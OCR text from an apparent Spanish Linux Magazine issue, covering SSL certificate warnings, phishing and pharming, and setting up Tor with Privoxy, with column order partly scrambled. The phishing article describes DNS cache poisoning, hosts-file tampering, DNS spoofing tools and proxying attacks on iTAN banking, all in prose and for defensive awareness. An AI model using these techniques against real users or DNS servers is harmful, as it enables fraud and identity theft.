En realidad, si el navegador muestra

una advertencia de certificado (véase

figura 5), tenemos que suponer que la

seguridad está comprometida. Cualquier

banco o tienda en línea al que confiemos

nuestro dinero o información personal,

debería demostrar que merece nuestra

confianza ofreciéndonos una conexión

SSL/TSL.

En ocasiones el asistente de seguridad

nos ofrece un remedio o un arreglo para el

problema. Sin embargo, mucho más a

menudo, la solución es instalar un parche

o actualizar a la última versión. Para evitar

la necesidad de comprobar

constantemente páginas Web en busca de

este tipo de información, algunas

distribuciones de Linux nos permiten

registrarnos para recibir avisos de

seguridad de Linux por correo electrónico.

Los fabricantes suelen distribuir sus

avisos de seguridad a través de listas de

correo. Podemos comprobar también las

páginas de seguridad de nuestra

distribución favorita, donde hallaremos

los detalles para las listas de correo y

cómo registrarse.

Además de las páginas específicas de

los fabricantes, están disponibles en la

Web muchas otras fuentes de información

relativas a la seguridad en Linux. Por

ejemplo, Security Focus [5] es una cono-

cida página Web que publica reportes de

fallos, avisos y mucha más información

acerca de aspectos críticos. Estas páginas

proporcionan de cuando en cuando artícu-

los de alto nivel, FAQs y foros acerca de

temas de seguridad. �

modificar la ruta que toma esta informa-

ción. Aunque esto es un método eficiente a

prueba de fallos, también significa que no

podremos confiar nunca en los ordenadores

intermedios entre el origen de la informa-

ción y el destino. O lo que es lo mismo,

tendremos que estar siempre vigilantes ante

ataques en puntos intermedios que fisgo-

neen nuestra información o incluso la

modifiquen. Se hace imperativa una cone-

xión cifrada que use SSL/TSL para

aplicaciones críticas como trabajar con

números de tarjeta de crédito.

El SSL/ TSL (Secure Sockets Layer/Trans-

port Layer Security) es un protocolo que usa

direcciones de Internet que comienzan por

https://. TSL es una extensión de SSL. Esta

conexión “segura” a Internet evita que los

atacantes secuestren equipos intermedios y

husmeen o manipulen la información. Al

mismo tiempo, esto garantiza que estamos

realmente conectados a la dirección mos-

trada en la barra de nuestro navegador.

Pero, de nuevo, es responsabilidad nuestra

asegurarnos que es correcta y que el enlace

no ha sido reemplazado por una dirección

falsa desde una fuente no confiable que

simplemente aparente ser real.

Las conexiones SSL/TSL usan certifica-

dos. Existen algunos errores comunes

acerca de los certificados que habría que

mencionar:

* “Certificado de confianza” (Trusted cer-

tificate) no significa que alguien nos

asegura que el operador del sitio está en

contacto con la policía.

* “De confianza” significa que el certifi-

cado ha sido publicado por una autoridad

de certificación reconocida. Una clave en el

servidor Web garantiza que al entrar en la

página https://ejemplo.com realmente acce-

demos a un servidor llamado ejemplo.com y

PORTADA • Navegación Segura

20 Número 20 W W W . L I N U X - M A G A Z I N E . E S

[1] Ataques de phishing en el pasado:

http://www.antiphishing.org/

phishing_archive.html

[2] Riesgos XUL en navegadores basa-

dos en Mozilla: http://www.pikey.me.

uk/mozilla/test/spooftest.html

[3] Vulnerabilidades en versiones previas

de Mozilla/Firefox: http://www.mozilla.

org/projects/security/ known-vulnera-

bilities.html

[4] Vulnerabilidad en el motor JavaScript

de Konqueror: http://www.kde.org/

info/security/advisory-20060119-1.txt

[5] Securityfocus: http://www.

securityfocus.com

RECURSOS

Muchas distribuciones de Linux publican

avisos de seguridad para proporcionar al

usuario información actualizada sobre pro-

blemas recientemente descubiertos.

Podemos acudir al apartado de la revista

“Noticias de Seguridad” donde encontrare-

mos enlaces de avisos de diferentes

distribuciones de Linux. En función del

fabricante o el proyecto, el formato de los

avisos de seguridad puede variar. Mientras

que Novell/Suse, Debian y Ubuntu propor-

cionan texto ASCII puro, quizás con algún

enlace, Mandriva es más amigable, con ico-

nos de candados de colores para indicarnos

cuán serio es un bug.

Avisos de Seguridad enLinux

Figura 7: Security Focus tiene una de las mayores colecciones de infor-

mación relativa a seguridad en Internet.

Page 21: Linux Magazine - Edición en Castellano, Nº 20

21Número 20W W W . L I N U X - M A G A Z I N E . E S

elimina la incertidumbre causada por la

dependencia en la cooperación humana.

Aunque la problemática del robo de

identidad en Internet no es nada nueva,

se ha detectado un claro incremento en

los últimos meses. Ha pasado un año

desde que se realizó un estudio estadís-

tico por los expertos en investigación de

mercado de Gartner[2] sobre este tema

tan llamativo. Investigaciones más

recientes, de Junio del año pasado, mos-

traron claramente el impacto económico

asociado al phising y al pharming. Los

investigadores han detectado una pér-

dida clara de la confianza de los

consumidores en los negocios on-line,

produciendo como resultado un incre-

mento del coste y del riesgo de inversión

tanto para las empresas como para los

consumidores. Y por último, pero no

menos importante, el Grupo de Trabajo

Anti-Phishing (Anti Phishing Working

Group, APWG) ha destacado un incre-

mento constante de los ataques phishing

y un considerable incremento en crime-

ware desde Abril de 2005: se ha

duplicado el código malicioso detectado

entre Abril y Julio de 2005 [2].

Estos peligros no son sólo hipotéticos;

causan un daño real. El 10% de los que

Phishing, Pharming y las amenazas relacionadas con la suplantación de la identidad

PICANDO EL ANZUELOPICANDO EL ANZUELO

Phishing • PORTADA

El phising se puede definir como

el arte de engañar mediante tru-

cos y estratagemas a los

confiados usuarios de Internet para

lograr de ellos información de carácter

personal y financiero. Este juego vil ya

ha proporcionado enormes ganancias a

una nueva generación de delincuentes

cibernéticos. Pero el phising no es más

que uno de los muchos trucos que hay

para la estafa. En este artículo examina-

remos algunas de las más populares

técnicas usadas para la suplantación de

identidad y mostraremos qué podemos

hacer para adelantarnos a la posible

amenaza.

Phishing y PharmingEl phising usa técnicas de falsificación

de correos electrónicos para lograr que

los usuarios desprevenidos visiten sitios

maliciosos. Es ahí donde son invitados a

introducir datos personales, tales como

contraseñas y números PIN. Los ataques

de phising ocurren en dos fases: en la

Fase Uno el usuario es engañado y sedu-

cido para que haga una visita al servidor

web del atacante. Los atacantes usan

varios vectores de inicio para lograr

atraer a las víctimas. En la Fase Dos, el

usuario es preguntado por sus datos per-

sonales. Esta parte del ataque es

conocida como engaño o falsificación

visual. Los vectores de ataque inicial

más conocidos son la falsificación de

correos y lo que se conoce como cross

site scripting (XSS), en donde el atacante

hace mal uso de sitios web de terceros

confiados para lograr iniciar el ataque.

En todos estos casos el atacante

depende de las acciones llevadas a cabo

por la víctima, por lo que fracasarían sin

la cooperación de la misma.

En contraste con el phising, el ataque

pharming requiere del atacante el enve-

nenamiento de las entradas de la caché

de servidores de DNS vulnerables, para

redirigir luego a los usuarios que con-

fían en este servidor a una máquina

comprometida que aloja al sitio web que

está siendo suplantado. Este ataque se

apoya normalmente en los errores de

implementación de los servidores DNS

para conseguir inyectar falsos pares [IP

/ nombre de máquina] en la caché del

servidor de dominio. Lo importante es

que el ataque de pharming es pura-

mente técnico. Esto mejora

considerablemente las oportunidades de

éxito de este tipo de ataques, puesto que

Los pharmers y los phishers van

tras vuestra valiosísima infor-

mación financiera. Aquí mos-

traremos cómo proteger nues-

tros intereses.

POR CHRISTOPH WEGENER

Y RALF SPENNEBERG

Phishing, Pharming y las amenazas relacionadas con la suplantación de la identidad

Page 22: Linux Magazine - Edición en Castellano, Nº 20

y vender en Ebay.

El atacante se apro-

pia de la identidad

de la víctima.

La mejor protec-

ción contra el

phishing es el sen-

tido común en

combinación con

Spam Assassin. Las

víctimas potencia-

les pueden

identificar emails y

sitios web fraudu-

lentos simplemente comprobando la

URL en sus navegadores, y por el hecho

de que la comunicación no está normal-

mente encriptada (el icono del candado

en la esquina inferior derecha de la ven-

tana del navegador está abierto). Pero

algunos sitios maliciosos están empe-

zando a usar SSL para conexiones

seguras. El navegador comprueba el cer-

tificado y alerta al usuario de que el sitio

seleccionado no coincide con el sitio

para el cual el certificado ha sido emi-

tido, o no proviene de una organización

de confianza, pero muchos usuarios no

atienden a estas alertas y simplemente

las ignoran. Estos nos dejan a la URL

como único medio de identificación de

la estafa.

El Viejo e Inseguro MSIEUna vulnerabilidad en las antiguas ver-

siones del Explorador de Internet de

Microsoft permite adicionalmente a los

atacantes falsificar la barra de URL, el

icono del candado SSL y la vista del cer-

tificado. En estos casos el candado se

encontrará cerrado, los datos del certifi-

cado aparecerán correctos y la barra de

URL nos mostrará la dirección

correcta… una falsificación perfecta. La

única protección contra esto es la actua-

lización de nuestra versión de MSIE, o

personalizar la versión del navegador

instalado para lograr que la falsificación

o engaño visual sea más o menos impo-

sible.

Spam Assassin puede ser útil en la

detección de emails falsificados. Las

últimas versiones de esta herramienta

detectarán normalmente la mayoría de

los correos de phishing. Filtrar los

mensajes entrantes con Spam Assassin

nos protegerá en gran medida contra los

ataques phishing conocidos.

Naturalmente ni siquiera Spam Assassin

puede protegernos contra mensajes

phishing desconocidos con anterioridad.

Los chicos malos ganan una conside-

rable suma de dinero con estos ataques.

Los delincuentes están organizados con

frecuencia en grupos criminales. El sitio

Internet News.com calcula que el daño

financiero causado en los Estados Uni-

dos en el año 2003 fue de 1,2 billones

(entendido como mil millones y no un

millón de millones).

Mucho Más PrometedorPuesto que el phishing depende de la

complicidad del usuario, y como factor

humano que es puede hacer peligrar el

éxito del ataque, los hackers malicio-

sos han ideado métodos para

incrementar las probabilidades a su

favor. El pharming no depende de un

email para atraer mediante engaños a

la víctima a un sitio malicioso. En vez

de esto, un servidor de DNS compro-

metido lleva a la víctima directamente

a ese sitio. Los usuarios normalmente

no escriben las direcciones IP de su

banco en el navegador; en su lugar

escriben los nombres DNS del sitio. El

servicio de Internet DNS es quien

resuelve la dirección, y es precisa-

mente este proceso de resolución de

direcciones el que es explotado por los

pharmers.

El ataque es realmente sencillo en

los sistemas Windows de Microsoft

usando un virus que modifique el

fichero System32/drivers/etc/hosts. Si

los usuarios introducen los pares nom-

bre del host/dirección IP en este

fichero, el navegador irá derecho a la

dirección IP cuando el usuario intente

acceder al nombre del sitio. Natural-

mente la dirección IP dirige a la

víctima al sitio web malicioso del ata-

cante. Normalmente la víctima se cree

segura, después de todo no están acce-

diendo al sitio desde un email, sino

que han sido ellos los que han introdu-

cido la dirección.

Para prevenir este ataque, los

expertos en seguridad recomiendan

proteger contra escritura el fichero de

hosts. Pero puesto que los troyanos

normalmente asumen privilegios de

administrador, este tipo de protección

es generalmente inútil. Además,

variantes más recientes utilizan un

vector diferente: introducir un servidor

DNS malicioso, ejecutado por el

participaron en una encuesta confiesan

que han sufrido pérdidas económicas

debido a correos electrónicos de phising.

Aunque estos datos pueden no ser ofi-

ciales, definitivamente muestran cómo

de real es el peligro.

En la RedComo mencionamos antes, los phishers

falsifican mensajes de emails de provee-

dores de servicios muy conocidos para

engañar a sus víctimas y lograr que visi-

ten sitios web maliciosos. Una vez la

víctima accede al sitio malicioso, el phis-

her intenta engañarla para que revele

datos de identificación (usuario y con-

traseña), números PIN o datos de la

tarjeta de crédito. Los ataques de phis-

hing están orientados principalmente a

los más importantes bancos y sitios web

dedicados al e-Comercio tales como Citi-

bank, PayPal o Ebay. En la Figura 1 se

muestra el típico mensaje de phishing.

En contraste a muchos emails de

phishing menos depurados, en este caso

el usuario no es alertado por los

evidentes errores de deletreo y

gramaticales. Errores de este tipo

proporcionan con frecuencia una pista,

puesto que muchos de los mensajes de

phishing han sido creados por gente

cuyo idioma nativo no es el nuestro.

Una víctima que pulse sobre el enlace

es conducida al sitio web del atacante,

que normalmente se parecerá mucho al

sitio original (Figura 2), excepto que el

sitio suplantado contiene con frecuencia

errores de deletreo o gramaticales,

puesto que dichos sitios son con fre-

cuencia creados por criminales

internacionales que usan herramientas

automáticas de traducción. Si la víctima

finalmente introduce los datos solicita-

dos en ese sitio, el atacante podría

usarlos para transferir dinero o comprar

PORTADA • Phishing

22 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Un correo de phising pregunta a un usuario para que

actualice la información de su cuenta de eBay.

Page 23: Linux Magazine - Edición en Castellano, Nº 20

pharmer, en las propiedades de red del

sistema operativo. En este caso, la

protección contra escritura del fichero

de hosts no ayudará para nada.

Suplantación DNSUn vector de ataque alternativo

requiere que el atacante monitorice

las peticiones de resolución DNS, y

responda en su lugar en vez del ser-

vidor DNS genuino. Para hacer esto

el atacante debe estar localizado en

algún lugar de la vecindad de la víc-

tima para lograr “esnifar” las

peticiones de resolución de nombre.

Naturalmente existen multitud de

herramientas capaces de esto. Linux

tiene la legendaria Dsniff de Dug

Song, por ejemplo, con su comando

dnsspoof. Incluso Windows tiene

una herramienta gráfica apodada

Cain&Abel [3]. Pero existen gran

número de herramientas que sopor-

tan este tipo de ataques; los

atacantes pueden además usar técni-

cas de suplantación ARP para

rastrear respuestas DNS o compro-

meter sesiones SSL usando técnicas

Man-in-the-Middle (MitM).

Envenenamiento de laCaché

Sin embargo la aproximación más efectiva

para el pharmer es envenenar la caché del

servidor DNS. Aunque esta vulnerabilidad

es bien conocida desde hace años, se sor-

prenderían de la cantidad de servidores

DNS vulnerables que aún lo siguen

siendo. Dan Kaminsky investigó alrededor

de 2,5 millones de servidores en Julio del

2005 y averiguó que alrededor del 10% de

los servidores DNS están abiertos a este

tipo de ataques de envenenamiento.

En un escenario de envenenamiento de

caché (Figura 3), el atacante primero

busca un nombre para el cual su propio

servidor de nombres está autorizado (por

ejemplo www.hackingexample.com) en el

servidor de caché de DNS vulnerable (1).

El servidor de caché DNS no tendrá dicha

información, y por tanto irá al servidor

DNS del pharmer (2) en busca de ayuda.

El servidor DNS del pharmer responderá a

la petición, y al mismo tiempo le devuelve

sus propias entradas para los nombres

DNS www.anybigbank.com y www.

yetanotherbigbank.com (3). El servidor de

caché DNS añade esta información a su

propia caché junto con la dirección IP para

www.hackingexample.com. A continua-

ción el servidor de nombre responde a la

petición para www.hackingexample.com

(4).

Ahora, cuando la víctima consulta al

servidor de DNS comprometido por

www.anybigbank.com o www.

yetanotherbigbank.com, el servidor DNS

encontrará los datos solicitados en su

propia caché y no preguntará al servidor

de nombres autorizados para dicha

dirección. El servidor devolverá enton-

ces la dirección IP falsa, proporcionada

a éste por el atacante, a la víctima. Todo

lo que el pharmer necesita ahora es un

servidor web con un sitio malicioso eje-

cutándose en la dirección IP que ha sido

deslizada a la víctima.

Los ataques de encadenamientos de

nombres son una versión más avanzada

del envenenamiento de la caché ya que

involucran que el atacante enlace la pro-

pia búsqueda DNS con la denominada

“sección adicional” de una forma poco

común. La respuesta no contendrá una

dirección IP, sino un puntero al nombre

del host del servidor de redirección. En

nuestro ejemplo anterior la respuesta

podría ser algo como “www.

hackinexample.com es un alias para

www.anybigbank.com”, y como “sec-

ción adicional”, “www.anybigbank.com

resuelve a 192.0.2.1”. No hay forma de

prevenir la inyección de información de

suplantación del atacante mediante la

comprobación de si la entrada “sección

adicional” coincide con la búsqueda

solicitada.

En cuanto un nuevo agujero de seguri-

dad es descubierto en el software de

servidor DNS, firewall o cualquier pro-

ducto similar el pharmer tratará de

aprovecharlo. Y esto es exactamente lo

que ocurrió en Marzo del 2005 con el

firewall de Symantec. En Junio de 2004

[4] se revelaron detalles de un error en

la caché DNS de este producto, pero no

todas las instalaciones fueron parchea-

das para Marzo del siguiente año. Esto

permitió que fuera posible un ataque a

larga escala de envenenamiento de

caché DNS [5].

Una variante de este ataque intenta

manipular la caché del lado del cliente

en las máquinas Windows o Linux, en

vez de centrarse en la caché del servi-

dor. Para lograrlo el atacante se

aproxima de la siguiente forma: primero

Phishing • PORTADA

23Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 2: Un usuario que pulsa sobre el enlace de la Figura 1 es dirigido a una página web muy

parecida a la página de entrada de eBay, pero… ¿realmente dónde está?

Page 24: Linux Magazine - Edición en Castellano, Nº 20

El método eTAN requiere la entrega alcliente de un dispositivo electrónico.Cuando el cliente desea realizar unatransferencia, el banco le envía unnúmero aleatorio; el cliente debe intro-ducir el número en el dispositivo , éstees similar a una calculadora. El aparatocalcula entonces una respuesta especí-fica para el cliente que es devuelta poréste al banco para realizar la transferen-cia. El método eTAN es usado, porejemplo, por GE Money Bank.

El método mTAN utiliza el móvil delcliente para autorizar las transaccio-nes. Cuando un cliente desea realizaruna transferencia de dinero el bancoenvía un pequeño mensaje con unnúmero TAN y alguna informaciónadicional al móvil del cliente. Éstecomprueba los detalles de la transfe-rencia e introduce el TAN paraautorizar la transacción. El TAN sóloes válido para una transferencia.

El método iTAN es inseguro si el ata-cante no almacena el dato en la páginaweb maliciosa sino que reenvía estedato al auténtico banco, como unaespecie de proxy transparente. Todo loque tiene que hacer el atacante esmodificar la cantidad y los detalles dela cuenta antes de pasar los datos albanco. El banco entonces solicita eliTAN al atacante; el atacante devuelvela petición directamente a la víctimaquién amablemente escribe el correctoiTAN.

El método mTAN parece ser el únicogenuinamente seguro; en la actualidadnecesitas iTAN para habilitar elmétodo. El cliente selecciona el sis-tema mTAN, y entonces el banco envíauna clave de registro al móvil delcliente. A continuación el cliente debeintroducir dicha clave de registro en unformulario, y es preguntado por uniTAN para habilitar el método mTAN.Los números de móvil existentes enmTAN pueden ser eliminados sin nin-guna otra verificación adicional.

Desafortunadamente no parece pre-visible que este sistema logresobrevivir, puesto que mTAN añade uncoste a la transacción. Además hay queañadir a esto el hecho de que el futurode mTAN parece inseguro en unaépoca caracterizada por hackeos Blue-

tooth, virus para móviles y troyanos. Yno olvidemos que siempre hay un riesgode pérdida del móvil.

HBCI es SeguroHBCI es el único mecanismo capaz deproporcionar auténtica seguridad enestos momentos, sin embargo, puestoque HCBI es complejo y requiere unincremento en la inversión de hardwareadicional en forma de smartcards y lec-tores de tarjeta, no muchos bancos lasoportan, y menos son los consumidoresque la usan. Los clientes no usan PINs yxTAN para autentificarse aquí, sino queusan certificados X.509 y las claves pri-vadas correspondientes; en el otroextremo de la conexión, el servidor webdel banco necesita del mismo tipo decredenciales para identificarse frente alusuario. Para prevenir que un atacantepueda simplemente acceder en la propiacasa de la víctima y apropiarse de suclave privada, la clave es almacenada enuna smartcard, la cual adicionalmenteprotege la llave frente a accesos de lectu-ras no autorizados.

Para ser capaz de utilizar la clave pri-vada para firmar transacciones, elusuario siempre necesita una smartcard.Para prevenir a un atacante que halogrado la posesión de la smartcard dehacer un mal uso de ella, la clave en lasmartcard está protegida adicionalmentecon un PIN. Los clientes son solicitadosa introducir el PIN para autentificarsefrente a la smartcard. Para frustrar a lostroyanos y a los programas que registranlas pulsaciones del teclado los intentos

envía un aparentemente inocuo correoelectrónico a la víctima; el correo con-tiene una imagen que apunta al dominiowww.example-attacker.com. El clientetiene que consultar al servidor de nom-bres autorizados para descubrir ladirección IP, y es así como comienza elataque de envenenamiento de caché. Elservidor DNS no sólo provee unaentrada para www.example-attacker.

com, al mismo tiempo envenena lacaché del PC cliente directamente, desli-zando una dirección IP falsa al clientepara www.anymajorbank.com. Lasiguiente vez que el cliente intente acce-der a la página web del banco, elconfiado usuario será teletransportadoal sitio web malicioso.

mTAN, iTAN, eTANTras muchos años de usar el métodoPIN/TAN para las transacciones electró-nicas, los bancos tratan ahora demejorar la seguridad bancaria on-linecon una nueva aproximación a los TANs(números de transacción). Con elmétodo iTAN el banco le da al clienteuna lista indexada de TAN. Cuando elcliente intenta realizar una transferenciabancaria, el banco le solicita un TANcon un número de índice determinado.Si el cliente termina en una página mali-ciosa, el pharmer no sabrá qué TANsolicitar. La aproximación iTAN es usadahoy en día por muchos bancos y socie-dades, y muchas más planean usarla.

PORTADA • Phishing

24 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 3: Para envenenar la caché de la DNS el atacante necesita montar su propio servidor denombres.

Page 25: Linux Magazine - Edición en Castellano, Nº 20

de conseguir el PIN de los clientes desde

su máquina, los lectores smartcard Class

2 tienen integrado un panel numérico

que permite al usuario escribir el PIN en

ellos directamente.

Sin embargo, el mensaje que debe ser

firmado es con frecuencia mostrado en

el PC para permitir al cliente su verifica-

ción. Esto puede abrir un vector de

ataque a un troyano localizado entre el

lector de tarjeta y el PC. En este caso un

usuario podría firmar transacciones que

no desea firmar. Los dispositivos smart-

card Class 3 proveen de auténtica

seguridad. Esta vez el texto que ha de

ser firmado no debería mostrarse nunca

en el PC (porque es demasiado largo

para ser mostrado desde el lector de tar-

jeta) puesto que esto volvería otra vez a

comprometer la seguridad.

En las aplicaciones de banca on-line

los datos críticos, tales como el número

de cuenta de destino, el código de iden-

tificación del banco y la cantidad

puedan ser mostrados en el lector de tar-

jeta, proporcionando a los clientes una

solución donde ellos pueden estar segu-

ros de lo que firman.

Protección vía CertificadosSSL de ClientesTodas estas soluciones ignoran un pro-

blema: en las viejas aplicaciones el

servidor bancario se autentifica frente a

los clientes. Los clientes deben estar

seguros de que están en comunicación

con el servidor correcto, y para lograr

esto, necesitan ser capaces de distinguir

una conexión SSL fraudulenta de una

conexión legítima.

La experiencia diaria sugiere que

depender del cliente no siempre resuelve

el problema: hay una razón, los usuarios

tienden a pulsar descontroladamente el

ratón a la hora de eliminar mensajes de

error sin ni siquiera pararse a leerlos. Un

mensaje de error ya no es una sorpresa

para los usuarios. Hay otra razón, los

clientes generalmente desconocen el

modo en el que funcionan las conexio-

nes SSL. Varios de los intentos realizados

por los bancos para formar a sus clientes

a este respecto no han tenido siempre el

resultado esperado. Algunas de las políti-

cas usadas en la actualidad dan al

usuario una falsa sensación de seguri-

dad, tales como el mostrar el logotipo de

certificación SSL en la página principal

desprotegida del banco.

Un método interesante para conseguir

más protección frente a los ataques de

phishing y pharming consiste en invertir

la dirección de la autentificación y for-

zar al cliente (el PC o navegador del

cliente, para ser más preciso) a autentifi-

carse frente al banco. Los bancos

pueden usar para ello certificados SSL

para cada cliente. Los bancos pueden

emitir un certificado a un cliente una

vez comprobada la legitimidad del

mismo (esto puede realizarse en la

misma sucursal bancaria), y el cliente

puede instalar este certificado en su pro-

pio PC. Los clientes necesitan presentar

dicho certificado cuando deseen estable-

cer una conexión con el servidor del

banco. El certificado puede así mismo

protegerse con un PIN frente a usos no

autorizados.

Para impedir ataques de engaño o fal-

sificación visual de la identidad del

banco, se podrían introducir técnicas

para la autentificación visual. El banco

podría esperar algún tipo de identifica-

ción visual del cliente, que sería

transmitida por medio de un canal

seguro; los atacantes podrían encontrar

extremadamente difícil falsificar algún

tipo de identificador visual del cliente.

Un problema de este procedimiento es

que el comportamiento on-line del

cliente medio podría colisionar con este

tipo de procedimiento. Las estadísticas

bancarias revelan que la mayoría de las

transacciones tienen lugar en los des-

cansos de los clientes para la comida,

por lo que suelen hacer uso de los orde-

nadores de la oficina. Algunos entornos

pueden impedir que esto suceda, puesto

que normalmente los usuarios tienen

normalmente ciertas restricciones en los

privilegios de uso de sus ordenadores de

oficina. Algún tipo de token conectado

por USB podría resolver estos proble-

mas, pero esto volvería a presentar un

incremento en el coste del procedi-

miento.

Situación LegalEl phishing y el pharming presentan

algunos problemas legales en varios

campos. Una cuestión importante es

quién es actualmente responsable de la

transacción fraudulenta. El banco puede

intentar reclamar alguna compensación

a la víctima de la estafa por la cantidad

de dinero transferida por el phisher. Una

transferencia bancaria funciona de una

manera similar a esto: el banco, consul-

tado por una cantidad de dinero (el

banco de la víctima en este caso) trans-

fiere una suma de dinero al atacante. El

banco querrá tomar el dinero de la

cuenta de la víctima como reembolso de

la transacción. Incluso si está claro que

la transacción no tiene la aprobación de

la víctima, el banco puede reclamar

daños por la cantidad desembolsada. La

entidad bancaria puede entonces tener

que probar su caso ante los tribunales;

en otras palabras, el banco debe probar

que el cliente ha ordenado la transferen-

cia, y normalmente no podrá hacerlo.

Naturalmente todos estos procedi-

mientos dependen de las leyes y normas

locales. Como mínimo, incluso si la víc-

tima tiene éxito en evitar tener que

pagar por el dinero sustraído por el phis-

her, el acontecimiento siempre termina

en una larga tormenta de cartas, amena-

zas y problemas burocráticos.

ConclusionesAun está por ver cuando llegará la pri-

mera gran ola de ataques de tipo

pharming, pero considerando el hecho

de que una importante proporción de

servidores de nombres por todo el

mundo son vulnerables al envenena-

miento de la caché, el peligro es muy

real y difícil de predecir. Lo impor-

tante para los usuarios es pensar

antes de bucear por Internet, especial-

mente si uno es consultado sobre

datos de carácter personal. Bancos,

plataformas de subastas online y tien-

das web necesitan trabajar en la

concienciación sobre temas de seguri-

dad a sus clientes. Probablemente este

sea el único camino para parar el mal

uso a larga escala del pago online y de

los sistemas bancarios. �

Phishing • PORTADA

25Número 20W W W . L I N U X - M A G A Z I N E . E S

[1] Grupo Gartner: http://www.gartner.

com

[2] Anti Phishing Working Group

(APWG): http://www.antiphishing.org

[3] Cain&Abel: http://www.oxid.it

[4] Vulnerabilidad en el Cortafuegos de

Symantec: http://securityresponse.

symantec.com/avcenter/security/

Content/2004.06.21.html

[5] Ataque de la caché de DNS: http://isc.

sans.org/diary.php?date=2005-03-04

RECURSOS

Page 26: Linux Magazine - Edición en Castellano, Nº 20

bién estén pendientes de por donde

navegamos.

Privoxy [1] y Tor [2] se encargan de librarse

de los espías. Un navegador normalmente dia-

loga con un servidor remoto, la mayor parte

de las veces un sitio web, y el servidor web

que alberga el sitio registra los datos corres-

pondientes al acceso. El cliente Tor evita que

las solicitudes vayan directamente al destino,

siendo reenviadas a través de un proxy que se

ejecuta en la propia máquina del usuario a tra-

vés de un número de nodos hasta el

denominado nodo de salida, el cual se

encarga de dialogar con la máquina

de destino (Figura 1). La versión

servidor de Tor actúa como uno

de los nodos intermediarios de

la cadena. El nombre “Tor” es el

acrónimo de “The Onion Router”

(El router cebolla). Los usuarios par-

ticulares normalmente ejecutarán Tor

como cliente, conocido comunmente

como “Onion Proxy”.

Esta estructura presenta un problema: si los

datos que se solicitan pasan a través de varios

nodos antes de llegar a la máquina del usua-

rio, cualquier “Onion Router” podría registrar

la actividad del usuario. Por este motivo se

negocia una clave secreta entre el “Onion

Proxy” del usuario en casa y cada nodo del

camino hasta el nodo de salida. La clave

impide que nodos no autorizados se inmiscu-

yan en la conversación.

Encriptando los datos en múltiples capas se

asegura que solamente el “Onion Proxy” del

usuario sea capaz de acceder a los datos. Este

sistema de protección también impide que los

operadores de los nodos puedan desencriptar

el tráfico que pase por ellos. El resultado de

este esquema es que los datos se parecen

mucho a una cebolla (onion) , cubiertos por

múltiples capas de encriptación. El nodo de

salida rompe la piel y pasa los datos al destino

final, aunque no tiene forma de saber qué

máquina realizó originariamente la solicitud.

Ninguno de los “Onion Routers” conocen al

“Onion Proxy”, lo que significa que el opera-

dor del “Onion Router” no tiene forma de

saber qué datos están pasando a través de sus

nodos.

La información es reempaquetada en el

camino de regreso al destino y permanece

encriptada hasta el proxy que se está ejecu-

tando en la máquina del usuario que se

encarga de ir pelando las capas de cebolla

hasta quedarse con los datos en cuestión. Este

esquema hace que sea imposible por parte de

un tercero, incluyendo al proveedor, saber qué

datos se solicitan o se envían; la persona que

ejecuta la máquina de destino sólo puede ver

la dirección IP del nodo de salida, que puede

ser cualquiera del mundo.

Instalando Tor

Tor es todavía un programa bastante joven,

como muestra el número de versión; al

tiempo de escribir este artículo no tiene una

interfaz. Los usuarios de Suse pueden

La epidemia de investigación de

mercado basada en Internet conti-

núa: muchas empresas investigan

de forma rutinaria los hábitos de navega-

ción por Internet de sus clientes, una

forma barata y transparente de espio-

naje. Incluso en algunos países

represivos puede que los gobiernos tam-

PORTADA • Privoxy

26 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Navegación Anónima con Tor y Privoxy

AGENTE SECRETONormalmente los usuarios de Internet revelan sus direcciones IP, lo que permite a las empresas recopilar

información para elaborar un perfil de sus actividades en Internet. Tor y Privoxy pueden ayudarle a proteger

su privacidad. POR KRISTIAN KISSLING

Page 27: Linux Magazine - Edición en Castellano, Nº 20

descargar el código fuente de la versión

estable 0.1.0.16 y comenzar instalando las

herramientas Automake. Autoconf y

Automake están incluidas. Además harán

falta los compiladores GCC y GCC-C++.

YaST carga automáticamente las bibliotecas

adicionales requeridas. Es imprescindible

instalar los ficheros de cabecera Openssl-devel

y Zlib-devel junto con la biblioteca Libevent

[3].

Los usuarios con Suse 9.3 no pueden utili-

zar YaST para instalar Tor; en su lugar tienen

que descargar el código fuente desde [2] y

seguir los pasos típicos de instalación: ./confi-

gure, make y make install. Esto debería

funcionar bien. Suse 9.3 también necesita una

entrada nueva en /etc/ld.so.conf para poder

localizar la biblioteca. Se añade la ruta /usr/lib

y luego (como root) se ejecuta ldconfig para

actualizar la información de la ruta.

Para los usuarios de Debian los pasos son

bastante sencillos; sólo hay que añadir la

siguiente entrada en /etc/apt/sources.list:

deb http://mirrorU

.noreply.org/U

pub/tor sarge main

deb-src http://U

mirror.noreply.org/U

pub/tor sarge main

Luego como root se eje-

cuta apt-get update para

indicarle al gestor de

paquetes el software que

se encuentra en la nueva

dirección especificada.

Ahora simplemente se

instala con apt-get install

tor.

Vamos…Vamos a probar Tor. Tras

abrir una ventana de

consola se teclea tor.

Después de un

momento se podrá leer

un mensaje que dice

“Tor has successfully ope-

ned a circuit. Looks like

it’s working” (Tor ha

abierto un circuito con éxito. Parece que fun-

ciona) (Figura 2). Si aún no se está

convencido y quiere asegurarse, sólo hay que

buscar en Google my ip. Esto mostrará unas

cuantas páginas que no sólo indican la direc-

ción IP del ordenador, sino otros detalles como

pueden ser el país en el que probablemente se

encuentra, el sistema operativo y el navegador

que se está usando o incluso las páginas web

que se han visitado recientemente.

Para engañar a estos sitios primero hay que

indicarle al navegador que envíe el tráfico a

través del “Onion Proxy” de Tor. Si se tiene

Firefox, en Preferences se selecciona Connec-

tion Settings | Manual Proxy Configuration. Se

introduce 127.0.0.1 como el SOCKS Host y

9050 como puerto (Figura 3). A continuación

se selecciona la entrada SOCKS v4 y se finaliza

la configuración: el

navegador enviará en

este momento todo el

tráfico a través del

puerto 9050 y Tor lo

reenviará a Internet.

Los usuarios de Mozi-

lla tendrán que realizar

la configuración en

Edit | Preferences |

Advanced | Proxies.

Ahora, cuando se

consulte la dirección

IP, los resultados serán diferentes de los obte-

nidos anteriormente: el servidor web piensa

que vivimos en Alemania (Figura 4)… parece

que Tor realmente funciona.

Si se tiene instalado Suse y se desea que Tor

se ejecute automáticamete cuando se

endienda la máquina, hay que añadir como

root la línea /usr/local/bin/tor & al fichero

/etc/rc.d/boot.local; en Debian, un fichero

